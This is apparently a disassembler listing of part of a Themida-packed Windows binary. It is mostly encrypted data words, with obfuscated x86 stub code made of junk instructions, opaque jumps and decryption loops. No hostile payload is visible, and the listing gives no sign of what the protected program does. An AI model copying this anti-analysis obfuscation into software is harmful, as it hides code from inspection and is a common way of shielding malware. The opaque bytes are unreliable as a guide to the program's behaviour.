3DD65AEDh, 32142F0Ch dd 321B8F44h, 15A06622h, 959C0641h, 0AFD5416Dh, 78A92EDAh dd 0B61AAD1Eh, 3215673Fh, 3DD75A70h, 321438C0h, 0B9730622h dd 34FC06C0h, 43156688h, 2D4468A8h, 53D6EC93h, 3DDF5A70h dd 3214240Ch, 0E5950644h, 8DAC00F8h, 0F73073Fh, 0B61A4377h dd 3215671Ah, 3209E52Dh, 0B51A6611h, 3215669Eh, 321577ADh dd 9ED92522h, 40D71BE1h, 32E90B18h, 0E2B44E6Ah, 0F7347EFh dd 0B71A993Fh, 321566FAh, 30AE35BDh, 33156622h, 0B916ECE2h dd 0F6944294h, 32156640h, 3209E32Dh ; --------------------------------------------------------------------------- loc_6004B8: ; DATA XREF: sub_581EE9+9010o adc [esi+75h], esp fistp dword ptr [esi-41EBCDEBh] push edx and ebp, [edi-0F883527h] retf 2922h ; --------------------------------------------------------------------------- dd 0F29C15A1h, 258AD66Bh, 604607DEh, 0E0E304A3h, 0BA828C08h dd 0FDEB3C93h, 0B22E81A2h, 0CA3597E6h, 92299FD3h, 32E9E24Bh dd 3FFC6622h, 0D6156611h, 2C6D88A2h, 89D252ABh, 548B75B9h dd 0B3EDEC71h, 9B359E5Ah, 3E9E0700h, 0D79C3306h, 3211A390h dd 0F7946688h, 32156640h, 6E314AA5h, 321577F8h, 4D488h dd 93713972h, 13D61696h, 36F9A11Eh, 81AD1D79h, 0A1723054h dd 3F86B5D5h, 3DD957F6h, 2015778Dh, 0B4FC9F24h, 0DB156623h dd 3215661Fh, 8D54229Bh, 967F5B27h, 37E4A0C7h, 0FB245E6Ah dd 0F99506E8h, 0F9940085h, 0B37463A3h, 0DAFF47CAh, 628407EBh dd 6A3162BBh, 0F99406B3h, 1936EEA3h, 0DB74BB3Dh, 321566C5h dd 321DE72Dh, 0BD1A6611h, 3215668Ah, 5AE90724h, 321567F1h dd 88317298h, 3215668Bh, 3D4FB7CDh, 32156AA9h, 8A730611h dd 0F194D786h, 31F69A1Fh, 33906943h, 0CB156611h, 32152261h dd 8F409A44h, 241C1933h, 0DF94B3E6h, 0DBE3E660h, 1E9E8FCDh dd 36D1E706h, 0CA156611h, 32154261h, 8F409A44h, 32156625h dd 0BBFFEF43h, 0DB483C59h, 32156655h, 30EBCCA5h, 30E2A191h dd 3E26A3F7h, 0F8AF068Fh, 52B195C4h, 32156CF9h, 7664BF88h dd 1D84F13Bh, 0DB0C0599h, 3215661Eh, 15513FF8h, 0F5D94ACDh dd 0BB8E9F61h, 6BAB6A09h, 0F7AD00E8h, 53F7D64Eh, 5798ED43h dd 5213723Bh, 60CAD987h, 5475071Bh, 0B9F2A39Dh, 0FB9007C7h dd 322EE387h, 3D756644h, 321567AEh, 0BB749A11h, 263F033Dh dd 321A8F42h, 0A29D6622h, 471BCE92h, 640E0835h, 2EFA50C6h dd 32068F9Eh, 28336611h, 0DD047F96h, 4B7A5605h, 133AB1DCh dd 0E075D552h, 1619EDD9h, 0B3F7EF16h, 321562E0h, 36D7E511h dd 6E31720Fh, 25AA31B8h, 60262239h, 0D84CD3ABh, 70B6DEA6h dd 0E2247BEAh, 6DED5778h, 321576F8h, 64402388h, 0ABE49490h dd 8EDCE98Eh, 34E7D564h, 54E0A5C2h, 617350BBh, 4973DD44h dd 16496777h, 544E008Ah, 5438001Ch, 349C6959h, 52156611h dd 53753CD9h, 3DD65A25h, 3214ADA6h, 321B8F11h, 34BB6688h dd 0FB4020BAh, 0F3C87458h, 34461A36h, 0BAD0EED9h, 1619EDAFh dd 3211A2A3h, 54756611h, 86BEA631h, 5A73074Dh, 0BB733839h dd 0C2A4421Dh, 6B73ADA8h, 321572ADh, 94112D22h, 2A191437h dd 987CEEB1h, 0AD45EA44h, 0FEF62CD5h, 42EEE65Dh, 3194E287h dd 0EE06644h, 5B9169CBh, 0CB156610h, 0B61A8DB4h, 32156724h dd 0E749E42h, 679169D3h, 3D156689h, 32156AC5h, 34956922h dd 3D156611h, 32156607h, 32018F44h, 0ECD6622h, 7BF91C1Ah dd 9ECBA65Ah, 0F098744Eh, 819A5040h, 0F9292D1Dh, 3337E287h dd 0BA1A6644h, 32156630h, 32138E71h, 2706688h, 85656EC7h dd 0A2AE007Bh, 0F7307A3h, 0B61A4377h, 32156744h, 32156DCBh dd 2BB7B911h, 90E75105h, 6D241C6Ah, 3209E72Dh, 0B61A6611h dd 3215669Eh, 321577ADh, 0E1197D22h, 0F88E82F6h, 410D1075h dd 5AFD830Ah, 0F829C760h, 32D3E21Eh, 0B3756688h, 789A2094h dd 1440DF69h, 0E7408E2h, 0F291696Bh, 0DB156646h, 32156627h dd 9F415F5Dh, 1C2800D9h, 669069BBh, 0DB156622h, 3215661Dh dd 17783D6Ch, 9474C7FFh, 1CAB515Bh, 32170E42h, 334E6688h dd 6916ECB7h, 9A734DAh, 0F8EBBCE7h, 1239A408h, 1601ED94h dd 3211A2A3h, 0B21A6611h, 3215668Eh, 0C0A26924h, 922907D7h dd 3243E21Eh, 3D756688h, 321564C7h, 3DD6ED22h, 6074B4AEh dd 32156632h, 6943444h, 4E29A606h, 0F2203E02h, 68061AB4h dd 379A6924h, 54156622h, 30668590h, 0DB747839h, 32156630h dd 2B9369DAh, 0DB156611h, 3215669Ch, 0F3014830h, 99FE349Ah dd 88593DB4h, 0F802DF96h, 6DC5A515h, 1870D3ABh, 0BFEC6005h dd 28B44115h, 25996942h, 0DB156622h, 32156603h, 0FC56806Ah dd 81F88020h, 2005BC48h, 550EC37Ah, 0E1EA4B87h, 884793B1h dd 76FB6781h, 0E96265A9h, 68C5679Bh, 69508971h, 0F5D4B2Bh dd 0BB1A3783h, 3215668Fh, 0F1AA6924h, 0CA743D70h, 32068FD2h dd 0C7916688h, 0EE9087F8h, 3B399206h, 45097EA8h, 0A11B3878h dd 7C290E95h, 369C6622h, 89469F35h, 32156698h, 0AE88DC5h dd 0C11438F0h, 0AE8A590h, 319E385Ah, 359C691Fh, 3D156622h dd 32156796h, 0B79C9E88h, 34014DE1h, 162199DAh, 36D1E549h dd 2EAF3471h, 33156644h, 1601EDF4h, 0CB11A292h, 638DB05h dd 0B71A6050h, 32156625h, 0C39E0071h, 9F74B102h, 321D8E24h dd 6B136622h, 49316713h, 0DA4BC571h, 3215664Dh, 0A0F0DE18h dd 2D4AF10Ch, 32138F77h, 273E6644h, 0C9A5EDD1h, 8C430748h dd 1A043F48h, 0FC94B0B3h, 42993103h, 0F31788D0h, 0F4946366h dd 75BD4A6Fh, 314B960Bh, 37314255h, 7B8D6C91h, 3D0EDD24h dd 18AE1998h, 53035F1Dh, 8F989E23h, 3401664Dh, 320DE92Dh dd 21FC6611h, 0A1156688h, 0EC6415D5h, 7CDCC7B1h, 23A66472h dd 0DDA110E9h, 3DB8D82Eh, 32156CACh, 0BE1A0611h, 32156688h dd 1F74CBF4h, 3237674Dh, 0F309C63Ch, 1651658Dh, 2EB56360h dd 5D1063E3h, 0DB154410h, 32156682h, 8EADDD92h, 0AE2AD4F8h dd 0A37DEC4Eh, 0BB15669Bh, 0BF1A4240h, 32156623h, 0BFE0CDE4h dd 260BCF35h, 321A8F42h, 0E9BA6622h, 0AF98292Eh, 458B5441h dd 59DDBCF6h, 22FCCB19h, 9E156611h, 0EE0D1FB9h, 1325558Dh dd 4915A9DCh, 1FAC3284h, 56AF5FA8h, 1A312247h, 0B35DF73h dd 0FA1402ABh, 4DAC06D1h, 533B420Ch, 321E8F89h, 1B6A6611h dd 609C6347h, 0C997EB16h, 1621997Fh, 36D1E54Fh, 33946974h dd 0C7156644h, 3D759AE1h, 3215669Fh, 3812D888h, 627471DFh dd 361086ABh, 1F156611h, 3215668Ch, 6E3162C3h, 3D3152ABh dd 32157696h, 321E8F88h, 92E6644h, 0B46E1D1Ch, 5CBE3886h dd 3D9E69B1h, 52156644h, 32156ECBh, 0B8D15A11h, 5B794AA1h dd 0AF980702h, 340FC660h, 321563F8h, 4C59B988h, 0E1EADE3Ah dd 0A9AC0042h, 7EFC0765h, 3DEA9975h, 321576C9h, 321E8F22h dd 756C6611h, 30AD77F0h, 8A8E24AEh, 4ECEDF9Ch, 4AA86CD2h dd 0A2458AFDh, 0C0D5F251h, 0A45EEE75h, 2AA8ED96h, 29458A15h dd 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh dd 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh, 0F2798A15h dd 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h dd 0D7BA8660h, 0BFCE2559h, 0F143914Ah, 4A3832DCh, 71BA8C0Eh dd 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h, 2C4FF7F4h dd 0CEDF0746h, 0D552B331h, 5E0003C6h, 2A5492B8h, 0AE307515h dd 0A75CDDAEh, 0B91A3B8Fh, 0B0D9FB57h, 0A45EEA79h, 6FDD7BAEh dd 0A25863E9h dword_600C00 dd 5FABA851h, 0AA307519h, 75E932DCh, 2F168C0Eh, 3134C4CBh ; DATA XREF: Themida_:0057E274o dd 2B967513h, 2ABD5414h, 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h dd 3044h, 0B8E9h, 44375700h, 772627C0h, 9C1934B3h, 8A010F98h dd 0B7EA1986h, 7EC4E873h, 51CE524Fh, 2AB57934h, 9F631Eh dd 0EE8B8FFEh, 0F7271293h, 17BC55EBh, 256967ADh, 0F09249F8h dd 2246CA53h, 1655562Ah, 0A774BEFBh, 5D2EF2A9h, 7787020Eh dd 0A8940113h, 5453F092h, 532CB0B1h, 0D891770Dh, 9E567982h dd 81001994h, 80C65370h, 9753B5F2h, 0Dh, 9F188B1Dh, 53F092ACh dd 0D1D12327h, 346767C3h, 52497B04h, 6E29253Ah, 8904015Eh dd 0A2DFEE71h, 0FBB6D5AAh, 178EBCC3h, 306D98E7h, 57464718h dd 30681F27h, 0E9061B65h, 0FFF91B05h, 0FE0BD3Fh, 45D9318Ch dd 3E87D03Bh, 6E82Fh, 8A7F0000h, 7B110D12h, 0B25BBDB5h dd 0EAC381A8h, 6600005Dh, 0BECACABAh, 0 ; --------------------------------------------------------------------------- push dword ptr [esi+ebx] mov dl, 0DBh pop edi jmp loc_600D1C ; --------------------------------------------------------------------------- db 80h dd 6BF0AAF9h, 0FCDCBD43h ; --------------------------------------------------------------------------- loc_600D1C: ; CODE XREF: Themida_:00600D0Ej add edi, 564A266Fh call loc_600D34 xor al, 3Eh mov esi, 631B2157h mov ecx, 94F7B62h dec edx loc_600D34: ; CODE XREF: Themida_:00600D22p ; Themida_:00600D90j movzx eax, di pop ecx add edi, 5F3CDFF9h jmp loc_600D4A ; --------------------------------------------------------------------------- db 5Ch dd 0F2827AD9h db 1Fh, 28h ; --------------------------------------------------------------------------- loc_600D4A: ; CODE XREF: Themida_:00600D3Ej xor edi, 545EAB2Fh pusha loc_600D51: ; CODE XREF: Themida_:00600DA5j sub al, 0FEh jge loc_600D5C pusha popa loc_600D5C: ; CODE XREF: Themida_:00600D54j popa mov [ebx+esi], edi mov ecx, edi mov ecx, 756ED99Eh sub esi, 4 mov dx, 7537h cmp esi, 0F305E983h loc_600D74: ; CODE XREF: Themida_:00600DDAj movsb mov ecx, ebx in al, 0A8h ; Interrupt Controller #2, 8259A fstp st(6) loc_600D7B: ; CODE XREF: Themida_:00600DCDj inc esp inc esi push esi xor dh, [ecx+5BB30C57h] ; CODE XREF: Themida_:00600DDFj imul eax, [esi+503CB728h], 1AEAB132h push 0FFFFFFA1h jnz short near ptr loc_600D34+2 aaa mov esi, 0B132403Eh pop ebp mov edi, 56AEB123h not dword ptr [ebx+38096A3Fh] push ebx jnb short loc_600D51 pop ebx aad 9Ah dec ecx sub ecx, 5 rep movsb mov al, 0F1h adc [ebp+75FD7AF2h], ebx and edi, ebx pop ss pop esi aam 61h sti and eax, 0FDF53FD5h lodsd insb call far ptr 0CFB7h:3422916Eh jp short loc_600D7B and esi, [edi+1A20AD29h] ; CODE XREF: Themida_:00600DD5j jp short near ptr loc_600DCF+5 jnz short loc_600E52 daa jl short loc_600D74 lock adc ah, dh jnb short near ptr loc_600D7E+3 jmp dword ptr [eax+13h] ; --------------------------------------------------------------------------- dd 0F305E983h, 8DDB8BA4h, 1BA6F4BDh, 0B98D8D06h, 0B8061C2Fh dd 32156644h, 0E9C1CF2Bh db 2 ; --------------------------------------------------------------------------- loc_600E01: ; CODE XREF: Themida_:00600E09j xor [edi], eax ror al, 1 add edi, 4 dec ecx jnz short loc_600E01 stc jz loc_600E13 stc loc_600E13: ; CODE XREF: Themida_:00600E0Cj jge loc_600E24 pusha and ecx, 5DDEC4EBh mov si, dx popa loc_600E24: ; CODE XREF: Themida_:loc_600E13j push eax sub dword ptr [esp], 6D67752Ch mov eax, [esp] add esp, 4 add eax, 6D67752Ch clc cmp dword ptr [ebp+61410F1h], 0 jnz short loc_600E4D cmp dword ptr [ebp+6140E25h], 0 jz short loc_600E66 loc_600E4D: ; CODE XREF: Themida_:00600E42j push eax push ebx mov eax, eax ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_600E52: ; CODE XREF: Themida_:00600DD7j adc [eax+eax], eax add [ecx+1424F185h], cl push es lea ebx, [ebp+616A7B9h] call ebx ; _iob pop ebx pop eax loc_600E66: ; CODE XREF: Themida_:00600E4Bj cmp dword ptr [ebp+6140E25h], 0 jz short loc_600E86 push eax push ebx mov eax, 411h mov [ebp+61424F1h], eax lea ebx, [ebp+616A45Ah] call ebx ; _iob pop ebx pop eax loc_600E86: ; CODE XREF: Themida_:00600E6Dj cld jnz loc_600E98 jmp loc_600E98 ; --------------------------------------------------------------------------- dw 0ABA0h dd 946DA38h ; --------------------------------------------------------------------------- loc_600E98: ; CODE XREF: Themida_:00600E87j ; Themida_:00600E8Dj push eax xor dword ptr [esp], 2C4072E7h pop eax push esi mov esi, 2C4072E7h xor eax, esi pop esi stc clc call near ptr loc_600EB3+4 jle short loc_600EDC loc_600EB3: ; CODE XREF: Themida_:00600EACp sbb [esp+edi*8+17BA66D1h], ch xchg eax, ecx pop edi mov ebx, eax add edi, 6DF3h jnb loc_600EDD pusha jmp loc_600ED7 ; --------------------------------------------------------------------------- sub eax, 82E6038Dh db 26h setalc loc_600ED7: ; CODE XREF: Themida_:00600ECBj mov eax, 5EE5FFDCh loc_600EDC: ; CODE XREF: Themida_:00600EB1j popa loc_600EDD: ; CODE XREF: Themida_:00600EC4j xor ecx, ecx jo loc_600EFC call sub_600EF5 jmp far ptr 57FEh:0F9EC0A6Eh ; --------------------------------------------------------------------------- popa jl short loc_600F39 pusha ; =============== S U B R O U T I N E ======================================= sub_600EF5 proc near ; CODE XREF: Themida_:00600EE5p jb $+6 pop ebx loc_600EFC: ; CODE XREF: Themida_:00600EDFj ; sub_600EF5:loc_600FCDj push dword ptr [ecx+edi] jle loc_600F1D pusha push edx pop eax jmp loc_600F1C ; --------------------------------------------------------------------------- db 0F7h, 0FFh, 0B1h dd 0F7F5C19Bh, 29FD8F20h db 0DDh, 26h, 3Fh byte_600F1B db 0E0h ; CODE XREF: sub_600EF5:loc_600F39j ; --------------------------------------------------------------------------- loc_600F1C: ; CODE XREF: sub_600EF5+13j popa loc_600F1D: ; CODE XREF: sub_600EF5+Aj pop eax cld xor eax, 42B8ED80h adc si, 30FBh xor eax, 56E108B1h jmp loc_600F42 ; --------------------------------------------------------------------------- db 87h, 0B6h, 0E9h db 0CAh ; --------------------------------------------------------------------------- loc_600F39: ; CODE XREF: Themida_:00600EF2j jnb short near ptr byte_600F1B movsd mov ds:31C5B557h, al ; --------------------------------------------------------------------------- db 0B0h ; --------------------------------------------------------------------------- loc_600F42: ; CODE XREF: sub_600EF5+3Bj add eax, 53927AD6h mov dx, ax push eax pusha jmp loc_600F59 ; --------------------------------------------------------------------------- dw 0DBCDh dd 0AD757E85h db 0A8h ; --------------------------------------------------------------------------- loc_600F59: ; CODE XREF: sub_600EF5+58j jbe loc_600F6F jmp loc_600F6F ; --------------------------------------------------------------------------- dd 0B7BCC31Dh, 0ECE253F8h ; --------------------------------------------------------------------------- xchg eax, ecx xchg eax, esi push edi loc_600F6F: ; CODE XREF: sub_600EF5:loc_600F59j ; sub_600EF5+6Aj popa pop dword ptr [edi+ecx] jnb loc_600F82 pusha mov di, 8FB1h mov cx, ax popa loc_600F82: ; CODE XREF: sub_600EF5+7Ej push ebx mov dx, 2B21h pop edx sub ecx, 56A244Eh add ecx, 56A244Ah sub dl, 47h cmp ecx, 0FFFF933Ch jnz loc_600FCD jmp loc_600FB7 ; --------------------------------------------------------------------------- dd 0CB6F128Ch, 63770545h, 948FC1F5h db 2, 2Eh, 1Ah ; --------------------------------------------------------------------------- loc_600FB7: ; CODE XREF: sub_600EF5+AEj jmp loc_600FE4 ; --------------------------------------------------------------------------- add eax, 3DCCA98h daa sahf push edx inc ecx cmp eax, 0BD027DB0h lds ecx, [ecx+39h] loc_600FCD: ; CODE XREF: sub_600EF5+A8j jmp loc_600EFC ; --------------------------------------------------------------------------- dw 0D6E2h dd 0E0A2640Ah, 0A4A6A2FAh, 0B27B07D1h, 0C5332C16h ; --------------------------------------------------------------------------- loc_600FE4: ; CODE XREF: sub_600EF5:loc_600FB7j lea ecx, [ebp+61C34BAh] jmp loc_600FFB ; --------------------------------------------------------------------------- db 76h dd 5B0BEBF2h, 2F49B3BAh db 0A3h, 0Ah, 0Fh ; --------------------------------------------------------------------------- loc_600FFB: ; CODE XREF: sub_600EF5+F5j mov [ebp+6142B69h], ecx mov dword ptr [ebp+6141055h], 5D5Ch mov si, cx mov dword ptr [ebp+614013Dh], 0 mov edi, [ebp+6142699h] mov [ebp+61407F1h], eax push dword ptr [ebp+61404B1h] push 0 push ebx call sub_601035 and [ebx-3Dh], bl sub_600EF5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_601035 proc near ; CODE XREF: sub_600EF5+138p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_601035 endp ; --------------------------------------------------------------------------- push ss movzx esi, cx call dword ptr [ebp+6140BD9h] push 0 call dword ptr [ebp+6142971h] mov eax, eax jmp short loc_6010D7 ; --------------------------------------------------------------------------- db 0EBh dd 18E944FBh, 180E156Ch, 9B4E315Bh, 58ACF4A4h, 0CD0A29F0h dd 76166CC3h, 17F5E43h, 7CA423BFh, 3DC2B63Eh, 0E778DD73h dd 27168F73h, 35668A3Bh, 162FF63Ch, 253DD487h, 7D64FBCBh dd 0B333F2AEh, 9E15FC50h, 96288D70h, 0F7FF0D08h, 0EFC43F2Ah dd 9ABCF87Ah, 2DED109Bh, 0BCD5D89Eh, 6F3EC741h, 372300E7h dd 613878B8h, 0BD25B7DFh, 55FE07DEh, 9B6A7AF1h, 0A1835700h ; --------------------------------------------------------------------------- sbb [edx], eax inc ecx loc_6010D7: ; CODE XREF: Themida_:00601059j jmp loc_6010E5 ; --------------------------------------------------------------------------- dd 4663ABFCh, 0 db 0 ; --------------------------------------------------------------------------- loc_6010E5: ; CODE XREF: Themida_:loc_6010D7j jmp loc_601574 ; --------------------------------------------------------------------------- push 61C3640h jmp loc_585C7C ; --------------------------------------------------------------------------- push 61C36B3h jmp loc_585C7C ; --------------------------------------------------------------------------- push 61C37E9h jmp loc_585C7C ; --------------------------------------------------------------------------- dd 7C80FB0Bh, 67ABE2E3h, 4CD0CDF8h, 3AFEB5D3h, 1FE39EADh dd 0FB0AB89Ch, 0E8E58286h, 0D2FE69ADh, 0B2D453D7h, 0E75A37FBh dd 0ECA78B46h, 0C1CB0855h, 5356867h, 2655487Ah, 92DF6ACBh dd 0D0FF53F0h, 0AF65E9DDh, 3FC090EBh, 6B2223BFh, 3637E7B5h dd 5339C8FCh, 8B13FF38h, 301449DCh, 4845441Bh, 84BBFACAh dd 6655E596h, 0CE9D90E7h, 0A24EC4C1h, 8BA9907Ch, 2A51Ah dd 591E9600h, 112A5EAFh, 0DC6B6294h, 0A697FB49h, 193CBDF9h dd 1986F156h, 5089FD2Ah, 0C675B2A9h, 5D5089FDh, 675FD5F9h dd 5CD9F286h, 4AA501D6h, 0F140ED58h, 725A7DE9h, 98FC040Eh dd 63E9F860h, 25A6CF68h, 0C5494051h, 0E695B7B6h, 8838522h dd 8DC64307h, 0FFCD3D5Fh, 2D4h, 0B0742727h, 0A3671637h dd 888C0904h, 76BAF11Fh, 63A7DAE9h, 3F4EF4D8h, 2421BE42h dd 0E3AA569h, 0EE108F93h, 0A31E7BBFh, 0ECA43702h, 9D074C55h dd 0E01B6180h, 0D4443447h, 304BCF49h, 6E9C1A29h, 4098EBC5h dd 97BBB21Ah, 0CCFFE367h, 2108BBDh, 0C7BAC956h, 0F9D676B7h dd 0A90455ECh, 0ECF93D0Ch, 40D2B655h, 0FD02798Bh, 69131243h dd 615F6DDDh, 0D4000002h, 0AA35F9B4h, 8720E499h, 920D118Ch dd 6AF53974h, 59E2265Bh, 0CDC0CF77h, 0F4B1DE49h, 0E09BB730h dd 0A81831Ch, 97106B06h, 55ECA4A4h, 8010943Fh, 47E01B61h dd 49D44434h, 0F2334BCFh, 55ECA44Bh, 0A60772A9h, 55ECA4ABh dd 96172428h, 55ECA4BBh, 31DE5438h, 0BE5298DAh, 776C8BB0h dd 48000001h, 6366567h, 0E2434779h, 53F09257h, 7F534A47h dd 5333F71Bh, 68B5C6B2h, 49DC63A6h, 40B3CB4Fh, 26870B39h dd 55E4832Bh, 7280A4A8h, 0E4833C03h, 0D83FDE55h, 0A899549Ah dd 36628Bh, 8B4E0000h, 56DCD9F4h, 0C2F98F5Eh, 88BBE457h dd 0B53F092h, 92800D07h, 9449DC6Ch, 0CDFDB8D5h, 0DBBFCB49h dd 9D3B02A3h, 3ED955E4h, 9B559BD7h, 0A4618BA8h, 4F000000h dd 84216567h, 53F092B5h, 0F4314ACEh, 53F09345h, 26567ADEh dd 47772A59h, 64970638h, 939DAC09h, 321653F0h, 89BBC4E0h dd 27D0E12h, 0F09396A5h, 0C898653h, 202498FCh, 963AE3D2h dd 6C9E53F0h, 7495ED31h, 0D2AA0B00h, 5F49DFF2h, 8AB9C0FBh dd 75941317h, 0D347F738h, 89E16918h, 12BBBh, 37E8E00h dd 2E5F60FFh, 57527DEAh, 7F3654D3h, 601D2CBBh, 8D351F9Ch dd 60FF037Eh, 79E62A63h, 51CE524Dh, 0DDB87C2Fh, 0A572C16Eh dd 42F155ECh, 3568675Eh, 9FCA9AF1h, 0B407BEB1h, 739D65Ch dd 67429094h, 46053665h, 0D6324A47h, 0ED1F605Ch, 0FB0A7ABEh dd 0F317E8Dh, 8449DC2Ch, 0DC3B1697h, 0D4B855E4h, 3CD9BB0h dd 6A2521BCh, 8CA02BB4h, 27262586h, 9FD5A66Ah, 80F81DCBh dd 0ED4A41FFh, 55E4445Eh, 32A371D5h, 55E4440Bh, 9E62192Bh dd 1F980201h, 55E4442Ch, 8FBFA3A7h, 8BBDh, 61803B00h, 0F675E01Bh dd 8D0528D7h, 0A23DF92Ch, 67974BEh, 0D49D40Fh, 1782F109h dd 17133241h, 0BA831B44h, 55ECB08Fh, 5DF20004h, 33AC702Bh dd 0C3629A11h, 956CC22Bh, 0F4512754h, 0E1515D6Eh, 0E650A08h dd 5ADECDFFh, 93BBBCDh, 0FA1E7A92h, 108DBAC1h, 16969CF8h dd 4B403B49h, 2AEC5FD8h, 0E367156Bh, 0C3329511h, 0DEEA71ACh dd 0D6374DA3h, 1B6CC204h, 4D404219h, 712C5EC9h, 0A4B59h dd 8BE10000h, 0ACDCD9F4h, 0D4DEEA28h, 4346767h, 3A52497Bh dd 5E6E2925h, 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh dd 18306D98h, 27574647h, 0E789571Fh, 4C781h, 0EF830000h dd 243C8704h, 242C895Ch, 654668h, 24348900h, 81E38953h dd 4C3h, 4EB8300h, 5C241C87h, 52241489h, 8E5155BAh, 81D2F725h dd 0AE6EE2EAh, 0C1EAD162h, 0CA8107EAh, 745822B7h, 0D6D3F281h dd 81527263h, 2CA62404h, 815E03FDh, 0FD2CA6EEh, 80685A03h dd 8900007Fh, 4812424h, 424h, 0EC835A00h, 24348904h, 8B08428Fh dd 89572414h, 4C781E7h, 81000000h, 4C7h, 243C8700h, 2434FF5Ch dd 4C4815Eh, 0E9000000h, 0FFF8470Ch, 407D8E02h ; --------------------------------------------------------------------------- loc_601574: ; CODE XREF: Themida_:loc_6010E5j mov eax, 61C3939h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 88h, 66h, 62h dd 7B46977Ah, 0F87EE024h, 180591Ah, 85F05426h, 0FDB80D05h dd 40531326h, 0E21A8809h, 0B5E23340h, 0B433C108h, 0BB01DD2Fh dd 0D13E8E62h, 0CEA58636h, 0FD070C63h, 47914C1Ah, 0BA881507h dd 0D7366E4Bh, 0E3C00333h, 0E65B3925h, 0F6D59150h, 13E87Fh dd 18670000h, 24D2258Ah, 0D4B3D712h, 2AF1A579h, 0FB232469h dd 533CB85Ch, 605A07A3h, 0DA8B51FCh, 0C281615Bh, 67C2h dd 5E30B756h, 0BFh, 13E95100h, 0B0000000h, 18B6E4D4h, 714E27B3h dd 0E5012553h, 6FFD6D1h, 8B585AFDh, 0F1813A0Ch, 11CBCC6Eh dd 302A9FBEh, 1C18174h, 81052DC2h, 948418C1h, 9E93Fh, 0D84F0000h dd 9FE06D2Ch, 51288E47h, 41E68166h, 3A048F27h, 188E0Fh dd 13E90000h, 0D5000000h, 2432FF62h, 3AFF272h, 0DE2BAC8h dd 7D3364E1h, 9E95153h, 50000000h, 0B4FC61D7h, 7D067F2Dh dd 6260EF81h, 82B71065h, 625CC781h, 81661065h, 81013DDEh dd 0FF9904FFh, 84850FFFh, 0BBFFFFFFh, 552375Dh, 0EDE9h dd 8C666000h, 0F04A8D8h, 0DF84h, 89B58B00h, 8306141Bh dd 850F00FEh, 22h, 84985C6h, 68450614h, 8E726969h, 0C2DB5FFh dd 858D0614h, 61778FEh, 8589D0FFh, 6141869h, 3E80F08Bh dd 31850FE9h, 8D000000h, 198E3485h, 8BD0FF06h, 143169BDh dd 84C78106h, 8B000011h, 141B89B5h, 0B9F78706h, 8, 0B58BA4F3h dd 6141B89h, 293E858Dh, 0D0FF0618h, 2E01B58Bh, 0FE830614h dd 22850F00h, 0C6000000h, 14084985h, 0F4685406h, 0FFFF4EBEh dd 140C2DB5h, 0FE858D06h, 0FF061778h, 18589D0h, 8B06142Eh dd 0E93E80F0h, 3A850Fh, 0B58B0000h, 6142E01h, 8E34858Dh dd 0D0FF0619h, 3169BD8Bh, 0C7810614h, 1184h, 8B08C783h dd 142E01B5h, 0B9F78706h, 8, 0B58BA4F3h, 6142E01h, 293E858Dh dd 0D0FF0618h, 858DC361h, 61C3B05h, 209D8589h, 8D8D0614h dd 61C3C9Dh, 0BFD958Bh, 8D890614h, 6142B69h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 50C35242h, 0E5396F70h dd 0C7842759h, 14105585h, 6AF006h, 3D85C700h, 61401h, 1000000h dd 140A4D95h, 0B1B5FF06h, 6A061404h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0FDCAC350h dd 0BD995FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 3CC48C3h, 6A77B6h, 297195FFh, 0C08B0614h dd 3BD47CEBh, 98F0E1A1h, 0F1D87ACFh, 234222E7h, 0B545BBF9h dd 9F1F3FABh, 0AEC2218Ch, 2AD2FB09h, 0ABFEE5CCh, 3F3AD4Eh dd 0BDDD566Ch, 885F6A46h, 0F6ABC65Fh, 39BBDD5Ch, 6E5E499h dd 770A5B3Bh, 0C1DA45FEh, 0E43D0D86h, 9D691579h, 0D42D738Dh dd 6363A5C3h, 200DBB01h, 20ED1585h, 347EE2A5h, 0C1DC1044h dd 0A5291B0h, 0C3E0A1D8h, 0A6CA7A51h, 0F106D5Ch, 0D5F7903Ch dd 7C113451h, 1FE91E15h, 7000000h, 520CBD3Fh, 6C416C74h dd 61636F6Ch, 65486574h, 7061h, 1400h, 0 dd 0D9E90000h, 68000010h, 61C3F4Ah, 0F8438FE9h, 405568FFh dd 85E9061Ch, 68FFF843h, 61C42E2h, 0F8437BE9h, 43F068FFh dd 71E9061Ch, 68FFF843h, 61C46A5h, 0F84367E9h, 474168FFh dd 5DE9061Ch, 68FFF843h, 61C4780h, 0F84353E9h, 488868FFh dd 49E9061Ch, 68FFF843h, 61C4966h, 0F8433FE9h, 49D768FFh dd 35E9061Ch, 68FFF843h, 61C4B59h, 0F8432BE9h, 4C8168FFh dd 21E9061Ch, 0D8FFF843h, 0B631F5A8h, 8B141895h, 66010580h dd 7EE92D68h, 4DCE524Fh, 0F1ACDB6Bh, 1895B22Dh, 47F8B14h dd 36656700h, 0FB2487F2h, 55ECAF48h, 670488CBh, 79063665h dd 5B245447h, 3B44742Fh, 1A659510h, 0C185B5E8h, 143BFF16h dd 8DBFCE25h, 929DAC09h, 321653F0h, 0BADED9F5h, 0A7DAE976h dd 0CBC2C463h, 0E39AACB3h, 0F286671Fh, 63925CD9h, 0A11C49DCh dd 0E4833504h, 48CA4E55h, 0EE9DAF38h, 0CC73B2CAh, 2E55E483h dd 1F55C82Fh, 9BB61316h, 0B46AEE1Eh, 3C798A0Dh, 55E4410Dh dd 6D9E8286h, 0E44171C0h, 848EF255h, 0A95B36E4h, 36408Bh dd 7AD50000h, 11B7BAEAh, 0FBC20C93h, 55E46148h, 1E2E5F60h dd 0B042C6BAh, 1B61804Eh, 6CD747E0h, 242849DCh, 9CAA9514h dd 